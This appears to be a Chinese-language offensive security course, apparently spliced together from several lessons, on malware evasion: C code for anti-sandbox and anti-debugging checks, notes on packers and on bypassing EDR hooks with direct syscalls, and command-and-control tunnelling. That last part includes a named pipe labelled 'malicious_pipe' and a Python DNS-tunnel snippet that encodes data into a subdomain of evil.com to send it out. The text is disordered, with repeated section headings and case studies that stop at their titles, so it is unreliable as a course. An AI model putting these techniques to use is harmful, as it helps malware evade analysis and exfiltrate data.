• 字符串加密

代码加壳：

• UPX

• VMProtect

• Themida

反虚拟机：

• 检测虚拟机特征

• 检测虚拟机进程

• 检测虚拟机硬件

2.3 实战案例分析

2.3.1 案例1：使用直接系统调用绕过EDR Hook

攻击场景：攻击者需要执行文件操作，但EDR通过Hook API监控文件操作。

一、前言概述

反检测技术用于逃避安全软件的分析和检测，本课将深入介绍反沙箱技术和反调试技术，帮助读者理解恶意软件如何逃避分析。

二、相关内容

2.1 反沙箱技术

原理：检测当前环境是否为沙箱或虚拟机，如果是则不执行恶意代码。

常见检测方法：

1. 检测虚拟机特征：

BOOL IsVM(){
    HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char identifier[256];
        DWORD size = sizeof(identifier);
        RegQueryValueExA(hKey, "Identifier", NULL, NULL, (LPBYTE)identifier, &size);
        RegCloseKey(hKey);
if (strstr(identifier, "VMWARE") || strstr(identifier, "VBOX")) {
return TRUE;
        }
    }
return FALSE;
}

2. 检测虚拟机进程：

BOOL IsVMProcess(){
constchar* vmProcesses[] = {
"vmtoolsd.exe",
"vmwaretray.exe",
"VBoxService.exe",
"VBoxTray.exe"
    };
// 遍历进程检查...
}

3. 检测虚拟机MAC地址：

BOOL IsVMMac(){
// VMware MAC: 00:0C:29, 00:50:56
// VirtualBox MAC: 08:00:27
// 检查MAC地址...
}

4. 检测时间加速：

BOOL IsTimeAccelerated(){
    DWORD start = GetTickCount();
    Sleep(1000);
    DWORD end = GetTickCount();
if (end - start < 900) {
return TRUE;
    }
return FALSE;
}

5. 检测用户交互：

BOOL IsUserInteractive(){
    POINT pt1, pt2;
    GetCursorPos(&pt1);
    Sleep(1000);
    GetCursorPos(&pt2);
if (pt1.x == pt2.x && pt1.y == pt2.y) {
return FALSE;
    }
return TRUE;
}

2.2 反调试技术

原理：检测当前进程是否被调试器附加，如果是则终止或改变行为。

常见检测方法：

1. IsDebuggerPresent：

if (IsDebuggerPresent()) {
    ExitProcess(0);
}

2. CheckRemoteDebuggerPresent：

BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) {
    ExitProcess(0);
}

3. NtGlobalFlag：

BOOL IsDebuggerPresent_NtGlobalFlag(){
    PDWORD pNtGlobalFlag = (PDWORD)(__readgsqword(0x60) + 0xBC);
if (*pNtGlobalFlag & 0x70) {
return TRUE;
    }
return FALSE;
}

4. 硬件断点：

BOOL IsHardwareBreakpointPresent(){
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
return TRUE;
    }
return FALSE;
}

5. 时间检测：

BOOL IsDebuggerPresent_RDTSC(){
    DWORD64 start = __rdtsc();
int x = 0;
for (int i = 0; i < 100; i++) {
        x += i;
    }
    DWORD64 end = __rdtsc();
if (end - start > 1000) {
return TRUE;
    }
return FALSE;
}

2.3 实战案例分析

2.3.1 案例1：多层级反沙箱检测

攻击场景：恶意软件需要确保不在沙箱环境中执行，避免被自动化分析系统检测。

一、前言概述

通信与隧道技术用于建立隐蔽的通信通道，用于数据传输和命令控制。本课将深入介绍RPC隧道、DNS隧道、ICMP隧道和HTTP/HTTPS隧道等技术。

二、相关内容

2.1 RPC隧道（RPC Tunneling）

原理：通过RPC协议建立隐蔽的通信通道，用于数据传输和命令控制。

技术优势：

• RPC是合法的Windows通信机制

• 不易被防火墙阻止

• 可以伪装成正常的RPC通信

实现方法：

// 创建命名管道
HANDLE hPipe = CreateNamedPipe("\\\\.\\pipe\\malicious_pipe",
                                PIPE_ACCESS_DUPLEX,
                                PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
1, 1024, 1024, 0, NULL);
ConnectNamedPipe(hPipe, NULL);

2.2 DNS隧道

原理：将数据编码到DNS查询中，通过DNS协议传输数据。

实现：

import base64
data = "malicious_data"
encoded = base64.b64encode(data.encode()).decode()
domain = f"{encoded}.evil.com"
# 发送DNS查询